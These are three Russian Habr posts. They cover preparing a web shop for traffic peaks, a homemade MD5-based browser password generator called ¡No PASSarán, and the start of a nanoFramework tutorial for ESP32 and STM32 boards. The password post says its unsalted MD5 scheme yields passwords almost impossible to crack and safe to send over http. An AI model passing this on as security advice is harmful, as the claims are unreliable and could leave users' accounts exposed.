8. Обновите железо
------------------
В зависимости от данных из системы статистики, результатов нагрузочного тестирования и проводимых оптимизаций (например, по итогам анализа проблем в СУБД выяснилось, что нужны огромные буферы) — добавьте ресурсов: увеличьте число ядер CPU и количество оперативной памяти, переведите требовательные к диску разделы (СУБД) на SSD, вынесите отдельные компоненты на отдельные серверы/виртуальные машины, расширьте канал (если CDN получается дорог или не помогает, т.к. проблема не только в статике).
9. Сделайте грамотную заглушку
------------------------------
Когда ничего уже не помогает (не все оптимизации были завершены или их оказалось недостаточно, возможностей по апгрейду железа не хватает, объём трафика превысил разумные ожидания) — пусть пользователи увидят информативную заглушку, в которой будет какой-то минимум полезных сведений: основные товары, контактные данные и т.п. Пропишите её в настройки веб-сервера и, возможно, предусмотрите её отдачу в приложении (для случаев срабатывания таймаутов и других проблем).
Конечно, это гораздо хуже закэшированных страниц для неаутентифицированных пользователей, которые тоже могут отдаваться как статика, но всё же значительно лучше, чем сообщение браузера о невозможности подключиться или печально привычная многим ошибка вроде:
10. Позовите профессионалов
---------------------------
Если всё это не получается качественно реализовать по каким-либо причинам (или не помогает так, как хотелось бы), не забывайте о возможности выйти за рамки технического аспекта стоящей проблемы — обратитесь к тем, кто более компетентен в нужных вопросах: друзьям/знакомым или компаниям, специализирующимся в соответствующей области. Иногда это может оказаться более эффективным для бизнеса решением.
Резюме
------
Несмотря на наличие некоторых конкретных технических указаний, статья носит скорее обзорный характер, стремясь указать на те важные моменты, которыми стоит озадачиться при решении непростой задачи подготовки интернет-магазина (или другого веб-сайта) к высоким нагрузкам и всплескам посещаемости, вызванным Black Friday и подобными событиями. О некоторых из обозначенных проблем, кстати, мы рассказывали подробнее на конференции Highload Junior 2017, проходившей в рамках [РИТ++ 2017](http://ritfest.ru/2017/) (доклад «[ТОП ошибок в инфраструктуре, мешающих высоким нагрузкам](http://junior.highload.ru/2017/abstracts/2706)» Андрея Половова и Андрея Колаштова).
Надеемся, что хотя бы часть из приведенных советов поможет вам выдержать предстоящее испытание. Как гласит народная мудрость, «предупрежден — значит вооружён». А другая мудрость рекомендует «готовить сани летом»: если уж не к этой пятнице, то к периоду новогодних и рождественских распродаж точно можно успеть как следует подготовиться — не затягивайте!
Вы держитесь завтра! Вам всего доброго, хороших продаж!
P.S.
----
Читайте также в нашем блоге:
* «[Высокие нагрузки Чемпионата мира по футболу 2018](https://habr.com/company/flant/blog/417083/)». | https://habr.com/ru/post/342976/ | null | ru | null |
# ¡No PASSarán — менеджер и генератор паролей
На Хабре и Гиктаймсе уже было много написано слов про пароли. В интернете можно встретить много программ и плагинов/аддонов для паролей. Браузеры умеют сохранять пароли. Казалось бы всё уже есть. Но нет, мне не хватало своего велосипеда, потому что все старые велосипеды имеют свои недостатки. Главный недостаток всех программ — это их база данных, которая может легко убиться. И я через это прошел. Самая известная программа KeePass (точнее её форк KeePassX) у меня дважды убивала сама свой файл. Не знаю, как сейчас, но два года назад она не умела делать резервную копию базы и если место заканчивалось или падала, или ещё что — файл базы легко становился размером в 0 байт. Единственная программа, которая мне нравилась — это Password Commander, она сама делала резервную копию, но, к сожалению, проект умер и был он только под Масдай.
> Люди делятся на тех, кто не делает бэкапы и тех кто уже делает.
2-3 года назад у меня родилась и развилась идея своего велосипеда — генератора паролей. Разумеется, идея не новая и её вариации имелись у многих и много раз обсуждались. На Хабре, в статье "[Генерация xkcd паролей на PHP](https://habrahabr.ru/post/232157/)" я [высказал свою идею](https://habrahabr.ru/post/232157/#comment_7838925) ещё в 2014 году и после этого, не спеша начал её реализовать и обкатывать. И вот в середине 2015 у меня появился плагин для браузеров ¡No PASSarán, о котором я и хотел бы рассказать в этом материале.
Кому лень читать путь к успеху моего молодого, динамично развивающегося проекта — можете сразу перейти на [онлайн версию ¡No PASSarán](https://rawgit.com/BaNru/iNoPASSaran/master/online/index.html) или перейти на [GitHub](https://github.com/BaNru/iNoPASSaran)/[Bitbucket](https://bitbucket.org/BaNru/inopassaran)
Кроме выше описываемого недостатка — смерть базы данных, все менеджеры паролей обладают ещё рядом недостатков (перечислю с оправданиями):
* Невозможность всегда и везде носить с собой базу. Конечно, в век интернета и облаков — это не серьезный недостаток и, в принципе, всегда можно иметь копию на телефоне или в облаке;
* Это множество паролей, это надо искать по базе, то есть медленный доступ к данным. Конечно многие менеджеры уже научились встраиваться в браузеры и в приложения и автоматом вбивать данные;
* Например, у браузеров надежность хранилища не очень хорошая. Разумеется можно поставить мастер-пароль, но и его можно перехватить кейлоггером.
* Ни в одном менеджере нельзя восстановить пароль.
Если не пользоваться менеджером, то запоминать сотни паролей не вариант и поэтому люди используют, в лучшем случае, пару паролей. Либо хранить в файлике, который в лучшем случае под паролем.
Я попытался избежать всех этих недостатков в своём велосипеде. Некоторые конечно пока не полностью решены, а некоторые ещё в планах. Но об этом ближе к концу статьи.
В настоящее время существует два популярных варианта «генерации» паролей и/или запоминания. Оба эти варианта описаны на популярной в сети картинке:
Второй вариант вроде бы взламывается дольше, судя по статье (см. ссылку выше) и комментариям к статье. Но мне кажется, если он будет один и везде, что многие и делают (везде используют один пароль), то украв его однажды — можно взломать и угнать множество аккаунтов. А по моим наблюдения (не претендую на истину) и взломать можно проще, ибо можно собрать базу часто используемых слов (особенно в языках без суффиксов и окончаний) и подобрать их пары, ведь большинство будут использовать от 2 до 4 слов, это примерно как брутить 2-4 символьные пароли, но только по чуть большей базе, ведь со спец.символами количество «слов» тоже немаленькое. А сюда ещё можно добавить ограничение сервисов — некоторые сервисы разрешают только ограниченное число символов, что ещё больше сокращает перебор. А для пользователя очередная трудность — надо запоминать или придумывать новый пароль, или использовать везде более короткую версию. И в данном случае не принимая во внимание, что другие сервисы просят как минимум 1 цифру или спец.символ.
В своём велосипеде я попытался объединить и улучшить, взять лучшее от этих вариантов. От второго варианта то, что надо иметь 3 слова (я их назвал соль, алгоритм и мастер пароль), а от первого — финальная версия пароля получается в MD5, а ведь именно часто в MD5 хранится пароль на сервере.
Изначально я придумал и использовал простенький алгоритм для сайтов, типа такого:
* Был мастер пароль, допустим **quaka42eqava**
* Далее брал сайт, например **example.com**, и получал из него другие части, например: **example**, **7**, **com**, **moc**, **3**; думаю, понятно, что из чего следует?
* Третьим шагом получал новый пароль **moc3quaka42eqava7example**
Данный вариант лёгок в запоминание, не надо с собой таскать базу и удовлетворяет обоим требованиям, которые описаны на картинке. Но у него есть узкие места:
* например, я попал бы на сайт злоумышленника и ввёл там свой пароль, созданный для его сайта **сайтзлоумышленника.рф** => **фр2quaka42eqava18сайтзлоумышленника**. Посмотрев на пароль — он мог бы понять его алгоритм и угнать часть моих аккаунтов
* постоянно разбивать домен и считать символы надоедает
Из-за чего я усовершенствовал алгоритм. Так как все пароли хранятся на серверах в зашифрованном виде, а именно часто в MD5 (с солью), то решено было пойти по тому же пути и добавить шифрование к этому алгоритму. Но это вызывало ещё одну сложность — постоянно открывать консоль или MD5 генератор и вбивать туда данные, поэтому я начал записывать пароли в файлик, что отбросило мою идею в каменный век, вернув её к самому узкому месту — базе данных паролей, который могут украсть или файл может повредиться и с собой его не возьмешь (только если специально). Разумеется если от кражи можно защититься ещё одним паролем, которым закрыть базу данных, то от порчи файла, которая может достаточно легко произойти на шифрованном файле — никто не застрахован. И я решился, точнее добрался до откладываемого проекта.
> Итак, представьте, что свой личный проект забросили (извините, конечно же отложили, чтобы вернуться, когда будет время!)
>
>
>
> Dreddik
>
> ([в статье](https://habrahabr.ru/post/140680/) и где-то в комментариях на Хабрахабре)
Как пользоваться
----------------
Допустим, вы придумали три части, для примера: Мастер пароль, как и раньше quaka42eqava, соль — имя домашнего питомца «Кузя» и алгоритм — свой номер телефона (Пароль — чувствителен к регистру, а соль и алгоритм нечувствительны к регистру). Вбиваем соль и пароль в настройки плагина и они сохранятся там. Затем переходим на интересующий нас сайт, где хотим зарегистрироваться/авторизироваться, ставим курсор на поле с паролем и нажимаем кнопочку плагина на панели браузера, после чего в появившемся окне вбиваем мастер пароль и жмём кнопку OK или Enter. Пароль будет автоматически сгененрирован и вставлен в поле, где был курсор.
Данный плагин и онлайн версию можно использовать не только для сайтов. Если вам необходим пароль для сторонней программы, то необходимо в онлайн версии или в гостевом режиме плагина поставить галочку на «Забыть про домен».
Дополнительно доступны 4 кнопки (в онлайн версии 3):
Кнопки-иконки ¡No PASSarán
* Копировать пароль в буфер обмена
* Показать сгенерированный пароль
* Расширенные настройки генерации пароля
* Гостевой режим (не доступно в онлайн версии, потому что онлайн версия изначально и воспроизводит гостевой режим)
Алгоритмы генерации
-------------------
Алгоритмы строятся следующим образом. Например, мы указали телефон 88005555555, соль Кузя и мастер пароль quaka42eqava, для сайта example.com. Далее будет три этапа автоматической генерации исходя из алгоритма:
* Получаем все части (не буду дублировать части):
+ 8 — Первая половина мастер пароля — это **quaka4**
+ 0 — Доменное имя целиком — это **example**
+ 5 — Количества символов в зоне — это зона **COM**, а следовательно **3**
* Полученное складывается в строку, но в начале обязательно добавляется мастер пароль, это дополнительная предосторожность: **quaka42eqavaquaka4quaka4exampleexample3333333**. Неплохой длины получается пароль, да? Кто сможет прикинуть сколько лет надо на подбор?
* Последним шагом уменьшаем число лет на подбор, а именно перегоняем эту строку в **MD5 => md5(quaka42eqavaquaka4quaka4exampleexample3333333) => f837bab2e4d20a53e884a42e9473708a**
Алгоритмы возможно строить двумя способами — базовым и расширенным.
### Базовые способ построения алгоритма
Для базового алгоритма доступны все буквы (русские и английские) и цифры, их надо указывать единым «словом».
* 0 — Доменное имя целиком (alias: a, k, u, а, й, у, э)
* 1 — Доменная зона целиком (alias: b, l, v, б, к, ф, ю)
* 2 — Первая половина домена (alias: c, m, w, в, л, х, я)
* 3 — Вторая половина домена (alias: d, n, x, г, м, ц)
* 4 — Количества символов в домене (alias: e, o, y, д, н, ч)
* 5 — Количества символов в зоне (alias: f, p, z, е, о, ш)
* 6 — Соль целиком (alias: g, q, ё, п, щ)
* 7 — Мастер пароль целиком (alias: h, r, ж, р, ъ)
* 8 — Первая половина мастер пароля (alias: i, s, з, с, ы)
* 9 — Вторая половина мастер пароля (alias: j, t, и, т, ь)
### Расширенные способ построения алгоритма
Разумеется, их можно и нужно использовать с цифрами из базового алгоритма.
Для расширенного способа обязательно использовать цифры разделённые любым символом, кроме цифр и букв. Данные алгоритмы будут дополняться.
* 10 — Перевернутое доменное имя целиком
* 11 — Перевернутая доменная зона целиком
* 12 — Перевернутая первая половина домена
* 13 — Перевернутая вторая половина домена
* 14 — нет
* 15 — нет
* 16 — Перевернутая соль целиком
* 17 — Перевернутый мастер пароль целиком
* 18 — Перевернутая первая половина мастер пароля
* 19 — Перевернутая вторая половина мастер пароля
* 160 — Первая половина соли
* 161 — Вторая половина соли
* 162 — Перевернутая первая половина соли
* 163 — Перевернутая вторая половина соли
То есть например **8-8-0-0-163-10-13**
**Рекомендуется обязательно использовать элемент алгоритма с доменом — 0, 2, 3 и т.д.**
Расширенные настройки
---------------------
На некоторых сайтах, например Яндексе, требуется установить пароль один на все поддомены. Для этого необходимо активировать настройку «Отключить поддомены», после этого при генерации будут игнорироваться поддомены и использоваться только домен. Внимание! Если вы уже создали пароль на поддомене, то он больше не подойдет, необходимо будет снимать галочку на том поддомене.
Есть сайты, которые запрещают использовать более определённого числа символов в пароле. На таких сайтах можно включить настройку обрезания. В ¡No PASSarán используется стандартная javascript функция substr, поэтому подробности, как обрезать строку можно посмотреть в документации к этой функции. Пример использования:
Предположим у нас будет сгенерирована строка «абвгдеёжзи», то вбив в поле «Обрезать» числа, у нас будет следующее
```
-3, 2 => жз
-3 => жзи
1 => бвгдеёжзи
-20, 2 => аб
```
Все эти настройки хранятся в браузере. В следующих версиях появится возможность сохранять расширенные настройки в файл, для переноса между браузерами и компьютерами.
Преимущества и недостатки
Теперь не надо хранить сотни паролей ни на компьютере, ни в голове, ни в блокнотике. Все пароли уникальные и взломать или украсть их почти невозможно. Пароль состоят из двух частей (трех элементов): Мастер пароль и алгоритм с солью, которые отделены друг от друга. Алгоритм и соль хранятся в браузере и их могут украсть, завладев вашим компьютером, но злоумышленники всё равно не смогут получить пароли ваши. Если же будет украден мастер-пароль, например с помощью кейлоггера, то не зная алгоритм и соль — они не смогут получить доступ к паролям.
Исключение: онлайн версия, которую рекомендуется использовать только в крайнем случае и когда вы уверены, что на компьютере нет кейлоггеров и прочей живности. В таком случае вообще паролями лучше не пользоваться, какими бы надёжными они не были.
Данные пароли сложно поддаются социальной инженерии.
Пароли можно передавать по незащищённому (http) соединению. Даже если пароль будет перехвачен для текущего сайта, пароли от других сайтов останутся в безопасности.
Из недостатков:
* Необходимо помнить три ключевых «слова». Хотя соль и алгоритм можно не запоминать, а написать на листочке и спрятать в сейф, чтобы когда нибудь восстановить, если вдруг потребуется, но тогда не будет доступна онлайн версия, если вы забудете.
* Необходимо иметь под рукой компьютер с плагином или зайти на онлайн версию.
* На данный момент нет спецсимволов, но они запланированы
Ещё немного о ¡No PASSarán
--------------------------
В последней версии добавлена возможность генерировать пароль в режиме гостя. Благодаря этому можно на одном сайте иметь несколько аккаунтов с разными сгенерированными паролями. Для этого можно, например, в поле «Соль» прописать текущий логин и используя эту соль-логин будет сгенерирован уникальный пароль. Зная очередной логин — не надо будет вспоминать пароль, ведь всё остальное (алгоритм и мастер-пароль) используется как и прежде.
Я этим плагином пользуюсь с апреля 2015 года. Всю красоту и удобство испытал на себе. Приглашаю и вас воспользоваться данным плагином абсолютно бесплатно, без регистраций и СМС.
Ссылки и установка
------------------
### Онлайн версия на зеркалах GitHub'а:
[Онлайн ¡No PASSarán. Зеркало 1](https://rawgit.com/BaNru/iNoPASSaran/master/online/index.html "Онлайн ¡No PASSarán")
[Онлайн ¡No PASSarán. Зеркало 2](https://cdn.rawgit.com/BaNru/iNoPASSaran/master/online/index.html "Онлайн ¡No PASSarán")
[Онлайн ¡No PASSarán. Зеркало 3](https://htmlpreview.github.io/?https://github.com/BaNru/iNoPASSaran/master/online/index.html "Онлайн ¡No PASSarán")
### Репозитории
[GitHub](https://github.com/BaNru/iNoPASSaran) и [Bitbucket](https://bitbucket.org/BaNru/inopassaran)
### Расширения для браузеров:
#### Для Хрома и подобных ему браузеров
* Стабильная ветка в Google WebStore, [стабильная версия 1.3](https://chrome.google.com/webstore/detail/%C2%A1no-passar%C3%A1n/miebfppiecncmhecgkgmfgebmohkkimj "Плагин для Chrome и Opera v1.3")
* Бета ветка Google WebStore, [последняя версия 1.4.0 (beta версия)](https://chrome.google.com/webstore/detail/%C2%A1no-passar%C3%A1n/njnoikolijcmeaaimkfefjmddeednjpi "Расширение ¡No PASSarán для Хрома и Оперы")
#### Для Firefox
* На сайте AMO (addons.mozilla.org) можно [ознакомиться со стабильной и бета версиями](https://addons.mozilla.org/ru/firefox/addon/inopassaran/versions/ "Addons ¡No PASSarán")
PS Не ругайтесь сильно на код. | https://habr.com/ru/post/357172/ | null | ru | null |
# Программируем микроконтроллеры ESP32 и STM32 на C# (nanoFramework)
[.NET nanoFramework](https://nanoframework.net/) — это бесплатная платформа с открытым исходным кодом, основанная на .NET и предназначена для малых встраиваемых устройств, микроконтроллеров. С её помощью можно разрабатывать различные устройства для Интернета вещей, носимые устройства, научные приборы, робототехнические устройства, можно создавать прототипы и даже использовать на промышленном оборудовании. В [первой части](https://habr.com/ru/post/549012/) мы познакомились с платформой .NET nanoFramework, её архитектурой, основными возможностями, посмотрели примеры программного кода. Теперь перейдем к практике, установим nanoFramework на микроконтроллеры серии ESP32 и STM32, напишем первый «Hello World!», поработаем с аппаратными интерфейсами, и оценим переносимость кода с «большого» .NET на платформу nanoFramework.
Для кого предназначена платформа nanoFramework?
===============================================
Сейчас на рынке представлено большое количество самых разнообразных микроконтроллеров. Одна из самых известных на сегодняшний день это платформа Arduino, которая использует язык программирования C/C++. По степени удобства, легкости, простоте, nanoFramework ничуть не уступает платформе Arduino. Несмотря на небольшой возраст, nanoFramework уже работает на многих микроконтроллерах, с поддержкой отладки кода и точками останова в удобной IDE MS Visual Studio. nanoFramework просто идеальное решение для существующих .NET разработчиков, которые не хотят останавливаться на достигнутом и им тоже интересна разработка для Интернета вещей (IoT). Ведь все, что необходимо знать и уметь для программирования на nanoFramework, они уже знают и умеют. Программный код и библиотеки в большой степени переносимы один-к-одному, только необходимо учитывать малый объем RAM и низкую производительность процессора.
[](https://habrastorage.org/webt/rg/-8/8j/rg-88jgleulnwjzbwu2rk81adto.png)
*Отладка кода приложения на nanoFramework в Visual Studio 2019*
Платформа nanoFramework отлично подходит и для сферы обучения. Нет ничего лучше, чем научиться разрабатывать приложения на C# для микроконтроллеров, где у тебя нет гигабайтов оперативной памяти и n-количества ядер процессора, вот тут начинаешь серьезно задумываться над оптимизацией алгоритмов.
И конечно nanoFramework подойдет всем тем, кто стремится к творчеству и хочет сделать свою жизнь более интересной и разнообразной, добавить в неё автоматизацию, роботов, и ИИ. Финансовые затраты для начала работы с nanoFramework составят не более стоимости чашки «кофа» в Starbucks (при условии покупки микроконтроллера ESP32). Для разработки используется бесплатная версия Visual Studio 2019 Community Edition. Все что от вас требуется, это терпение и упорство.
С момента публикации [первой части](https://habr.com/ru/post/549012/) прошло более полугода, с того времени произошли серьезные изменения. Первое, команда разработчиков обновила логотип. Шутка, на самом деле его действительно обновили, но ещё добавили новые функции и существенно расширили поддержку различных микроконтроллеров.
[](https://habrastorage.org/webt/27/gk/3i/27gk3ixb-cvtu_yigdlxph5hhsg.png)
*Логотипы nanoFramework*
Рассмотрим некоторые микроконтроллеры для платформы nanoFramework.
Поддержка устройств
===================
Поддерживаемые устройства делятся на две категории: [основные платы](https://docs.nanoframework.net/content/reference-targets/index.html) и [поддерживаемые сообществом](https://docs.nanoframework.net/content/community-targets/index.html) (дополнительная ссылка — [GitHub nanoframework/nf-Community-Targets](https://github.com/nanoframework/nf-Community-Targets)). В зависимости от устройства будут доступны все или только некоторые сборки (.NET Assemblies). При выборе обращайте внимание на поддерживаемые функции, такие как: Gpio, Spi, I2c, Pwm, Adc, Dac, Serial, OneWire, CAN, Events, SWO, Networking, Large Heap и UI. Например, работа с графическими дисплеями в серии модулей ESP32 будет доступна только на тех, в состав которых входит память PSRAM (Pseudo static RAM).
Модуль [**ESP-WROOM-32**](https://www.espressif.com/en/products/modules/esp32) — самое простое и доступное решение для начала осваивания nanoFramework. На основе данного модуля построена отладочная плата [ESP32 DevKit v1](https://devdotnet.org/post/iot-platforma-esp32-devkit-v1-na-baze-mcu-esp-wroom-32/), стоимостью до $3.65. В основе модуля чип SoC ESP32-D0WDQ6 от компании Espressif, в него входит 2-ядерный 32-битный процессор Tensilica Xtensa LX6 с блоками памяти ROM на 448 КБ и SRAM на 520 КБ. На кристалле расположены беспроводные модули Wi-Fi/Bluetooth, датчик Холла и сенсор температуры, доступны интерфейсы: ШИМ, АЦП, ЦАП, I2C, SPI, UART/Serial, I2S. Дополнительно модуль содержит Flash-память на 4 МБ.
[](https://habrastorage.org/webt/ve/7i/3o/ve7i3or0elovooqo9pzs1b1a524.jpeg)
*Отладочная плата ESP32 DevKit v1*
При выборе модуля, возможно, вы встретите обозначение не ESP-WROOM-32, а
ESP32-WROOM-32U или ESP32-WROOM-32D. Разница заключается в следующем:
* ESP32-WROOM-32U — модуль ESP-WROOM-32 с подключением внешней антенны;
* ESP32-WROOM-32D — модуль ESP-WROOM-32 c встроенной антенной в виде змейки на самой плате.
Важно! Обычно на отладочной плате с модулем ESP-WROOM-32 размещают две кнопки **EN** и **Boot**. Кнопка EN — перезагрузка, Boot — ручной перевод микроконтроллера в режим загрузки прошивки. При нажатие кнопки Boot, контакт **GPIO0** на микроконтроллере замыкается на **Землю(GND)**, и в терминале можно увидеть следующий текст:
```
ets Jun 8 2016 00:22:57
rst:0x1 (POWERON_RESET),boot:0x7 (DOWNLOAD_BOOT(UART0/UART1/SDIO_REI_REO_V2))
waiting for download
```
[](https://habrastorage.org/webt/3i/cj/t4/3icjt4ubd-m-deb5ymziz_aqeou.jpeg)
*Кнопки EN и Boot на плате с модулем ESP-WROOM-32*
У некоторых пользователей модулей ESP-WROOM-32 без кнопки **Boot**, исходя из сообщений на форумах, возникают проблемы с переключением микроконтроллера в режим прошивки, поэтому лучше приобретайте модули с наличием кнопки **Boot** на плате. Но это касается модулей первой версии/ревизии, в третьей ревизии для прошивки нажимать кнопку **Boot** не обязательно. Далее этот момент будет подробно рассмотрен в пункте выбора прошивки.
Недавно команда разработчиков nanoFramework [сообщила](https://www.nanoframework.net/five-years-and-counting/), что следующие прошивки для устройств ESP32 будут основаны на системе сборки ESP-IDF 4.3.1. Это означает поддержку микроконтроллеров всей серии ESP32, включая: ESP32\_S2, ESP32\_S3, ESP32\_C3 (RISC-V). Новая система сборки позволяет легко добавлять новые библиотеки и функции в nanoFramework, которые доступны или предоставляются ESP-IDF. Теперь у двухъядерных чипов ESP32 задействованы оба ядра для работы кода. Был успешно перенесен компонент mbedTLS из ESP-IDF без потери оптимизации и использования аппаратных блоков (криптографические вычисления, генерации случайных чисел и т. д.). Конфигурация сети, профили Wi-Fi, CA корневые сертификаты и сертификаты устройств X509 теперь доступны для использования также на всей серии ESP32 устройств.
Если вам не хватает количества контактов GPIO, то можно выбрать один из микроконтроллеров поддерживаемых сообществом — STM32. Например, отладочная плата [**ST Nucleo64 F411RE**](https://devdotnet.org/post/otladochnaya-plata-stm32-nucleo-f411re/) на базе SoC Cortex-M4@100 MHz с блоками памяти ROM на 512 КБ и SRAM на 128 КБ. Дополнительно на плате размещены контакты для подключения Arduino-совместимых модулей. По стоимости плата уже существенно дороже ESP32, на торговых площадках продается от $29 и выше.
[](https://habrastorage.org/webt/g3/io/pg/g3iopgzrv2ihlqprtww64kdzsay.jpeg)
*Плата ST Nucleo64 F411RE*
Библиотеки классов
==================
В связи с малыми аппаратными возможностями микроконтроллеров, в отличие от .NET IoT, у каждого класса библиотек есть соответствующий Nuget пакет. Все пакеты добавляются с помощью системы *Nuget*, как это принято в .NET Core. Рассмотрим подробно [библиотеки классов](https://docs.nanoframework.net/content/architecture/class-libraries.html) для представления возможностей платформы. Все библиотеки делятся на общие для всех устройств и на специальные, предназначенные для конкретных микроконтроллеров или серии устройств. Классы, имеющие название, например *System.Device.Gpio* совместимы с .NET IoT для Linux, а с названием *Windows.Device.Gpio*совместимы с Windows IoT Core. Полный список библиотек в документации
[Class Libraries. Documentation — nanoFramework](https://docs.nanoframework.net/content/architecture/class-libraries.html).
**Библиотеки .NET nanoFramework ([xlsx](https://github.com/devdotnetorg/nanoFramework/blob/master/nanoFramework-libs.xlsx), [pdf](https://github.com/devdotnetorg/nanoFramework/blob/master/nanoFramework-libs.pdf))**
**Таблица библиотек .NET nanoFramework**
| | |
| --- | --- |
| **Библиотека класса /название Nuget пакета** | **Описание** |
| **Базовые (Bases)** | |
| Base Class Library (nanoFramework.CoreLibrary) | известный как mscorlib, базовый класс для платформы |
| nanoFramework.Runtime.Events (nanoFramework.Runtime.Events) | поддержка событий |
| nanoFramework.Runtime.Native (nanoFramework.Runtime.Native) | поддержка низкоуровневых функций, таких как управление сборщиком мусора (GC — garbage collection), электропитание, часы реального времени и получение системной информации об устройстве |
| System.Threading (nanoFramework.System.Threading) | поддержка многопоточности |
| System.Math (nanoFramework.System.Math) | поддержка математических функций |
| System.Text (nanoFramework.System.Text) | поддержка кодирования/декодирования текста и класса StringBuilder |
| System.Text.RegularExpressions (nanoFramework.System.Text.RegularExpressions) | поддержка регулярных выражений |
| System.Collections (nanoFramework.System.Collections) | поддержка коллекций: ArrayList, Dictionary, Queue (очередь), Stack (стек). Так же поддерживается работа через интерфейсы: Ienumerable, Ienumerator и т. д. |
| nanoFramework.Json (nanoFramework.Json) | сериализация/десериализация в JSON |
| nanoFramework.ResourceManager (nanoFramework.ResourceManager) | управление ресурсами приложения |
| Microsoft.Extensions.Logging (nanoFramework.Logging) | логирование (совместим с Microsoft.Extensions.Logging) |
| **Аппаратные интерфейсы (Hardware interfaces)** | |
| System.Device.Gpio (nanoFramework.System.Device.Gpio) | поддержка управления контактами GPIO (general-purpose input/output) |
| Windows.Device.Gpio (nanoFramework.Windows.Devices.Gpio) | поддержка управления контактами GPIO (general-purpose input/output) |
| System.Device.Dac (nanoFramework.System.Device.Dac) | поддержка ЦАП (цифро-аналогового преобразователя), digital-to-analog converter,DAC |
| Windows.Devices.Adc (nanoFramework.Windows.Devices.Adc) | поддержка АЦП (аналого-цифрового преобразователя), analog-to-digital converter, ADC |
| System.Device.I2c (nanoFramework.System.Device.I2c) | поддержка протокола I2C (Inter-Integrated Circuit) — последовательная шина данных для связи интегральных схем, использующая две двунаправленные линии связи (SDA и SCL). |
| Windows.Devices.I2c (nanoFramework.Windows.Devices.I2c) | поддержка протокола I2C (Inter-Integrated Circuit) — последовательная шина данных для связи интегральных схем, использующая две двунаправленные линии связи (SDA и SCL). |
| System.Device.Spi (nanoFramework.System.Device.Spi) | поддержка шины SPI (Serial Peripheral Interface). Подключаются высокоскоростные устройства такие как LCD дисплеи, сетевые карты, и т. д. |
| Windows.Devices.Spi (nanoFramework.Windows.Devices.Spi) | поддержка шины SPI (Serial Peripheral Interface). Подключаются высокоскоростные устройства такие как LCD дисплеи, сетевые карты, и т. д. |
| nanoFramework.Devices.OneWire (nanoFramework.Devices.OneWire) | поддержка протокола OneWire, можно подключить например датчик температуры DS18B20 |
| System.IO.Ports (nanoFramework.System.IO.Ports) | поддержка последовательных портов COM |
| Windows.Devices.SerialCommunication (nanoFramework.Windows.Devices.SerialCommunication) | поддержка последовательных портов COM |
| System.Device.Pwm (nanoFramework.System.Device.Pwm) | поддержка ШИМ (широтно-импульсной модуляции), pulse-width modulation PWM. Используется для управления яркости LCD дисплеев, и регулирования скорости работы двигателей |
| Windows.Devices.Pwm (nanoFramework.Windows.Devices.Pwm) | поддержка ШИМ (широтно-импульсной модуляции), pulse-width modulation PWM. Используется для управления яркости LCD дисплеев, и регулирования скорости работы двигателей |
| nanoFramework.Devices.Can (nanoFramework.Devices.Can) | поддержка протокола CAN (Controller Area Network) — это промышленный стандарт, позволяющий осуществить объединение в единую сеть различных узлов, механизмов, датчиков и т. п. |
| **Сеть (Networking)** | |
| Windows.Devices.WiFi (nanoFramework.Windows.Devices.WiFi) | поддержка протокола Wi-Fi. Доступно сканирование точек доступа (AP) и подключение к ним |
| System.Net (nanoFramework.System.Net) | поддержка сети. Доступна работа с DNS, веб-прокси, поддерживаются сокеты и SSL-шифрование |
| System.Net.Http (nanoFramework.System.Net.Http) | поддержка http-протокола |
| System.Net.Http.Client (nanoFramework.System.Net.Http.Client) | поддержка http клиента |
| System.Net.WebSockets (nanoframework.System.Net.WebSockets) | поддержка WebSocket |
| System.Net.Http.Server (nanoFramework.System.Net.Http.Server) | поддержка http сервера. Можно создать свой Web-сервер для обеспечения удаленного управления устройством |
| nanoFramework.WebServer (nanoFramework.WebServer) | «упрощенная версия» ASP.NET, REST API |
| nanoFramework.Networking (nanoFramework.Networking.Sntp) | поддержка клиента протокола SNTP (Simple Network Time Protocol), позволяет удаленно управлять устройством по данному протоколу, поддержка является де-факто стандартом для коммутаторов, маршрутизаторов, концентраторов и т. д. |
| nanoFramework.Azure.Devices (nanoFramework.Azure.Devices.Client) | клиент Azure IoT Devices |
| **Хранение данных (Storage)** | |
| System.IO.FileSystem (nanoFramework.System.IO.FileSystem) | поддержка файловых систем, работа с microSD и MMC памятью |
| Windows.Storage (nanoFramework.Windows.Storage) | поддержка хранения файлов на носителях |
| Windows.Storage.Streams (nanoFramework.Windows.Storage.Streams) | классы потоковой записи/чтения данных на носитель |
| **Графический интерфейс (GUI)** | |
| nanoFramework.Graphics (nanoFramework.Graphics) | поддержка вывода графики на дисплей и UI |
| System.Drawing (nanoFramework.System.Drawing) | работа с графикой |
| **Аппаратно-зависимые (Hardware dependent)** | |
| nanoFramework.Hardware.Esp32 (nanoFramework.Hardware.Esp32) | аппаратные функции Esp32 такие, как управление режимами засыпания устройства |
| nanoFramework.Hardware.Esp32.Rmt (nanoFramework.Hardware.Esp32.Rmt) | поддержка удаленного управления RMT (Remote Control) |
| nanoFramework.M5Stack (nanoFramework.M5Stack) | аппаратные функции M5Stack, такие как управление встроенным LCD |
| nanoFramework.Hardware.Stm32 (nanoFramework.Hardware.Stm32) | аппаратные функции Stm32 |
| nanoFramework.Hardware.TI (nanoFramework.Hardware.TI) | аппаратные функции TI(Texas Instruments) такие как управление электропитанием |
| nanoFramework.TI.EasyLink (nanoFramework.TI.EasyLink) | аппаратные функции TI EasyLink |
| **Сторонние (Third party)** | |
| Amqp.\* (AMQPNetLite.nanoFramework) | поддержка протокола AMQP (Advanced Message Queuing Protocol) для брокеров-сообщений, например для RabbitMQ |
| Amqp.\* (AMQPNetMicro.nanoFramework) | поддержка протокола AMQP (Advanced Message Queuing Protocol) для брокеров-сообщений, например для RabbitMQ |
| nanoFramework.M2Mqtt (nanoFramework.m2mqtt) | поддержка протокола MQTT. Протокол обмена сообщениями по шаблону издатель-подписчик (pub/sub) |
Драйвера датчиков
=================
Многие датчики, используемые для подключения к Arduino, также поддерживаются платформой, среди них: акселерометры, газоанализаторы, замер уровня освещения, барометры, термометры, инфракрасные датчики, гироскопы, компасы, драйверы двигателей, NFC-модули и т. д.
Полный список поддерживаемых датчиков представлен в документации [List and category of devices. Devices — nanoFramework](https://docs.nanoframework.net/devicesdetails/README.html). С примерами [GitHub nanoFramework.IoT.Device/devices](https://github.com/nanoframework/nanoFramework.IoT.Device).
Установка расширения
====================
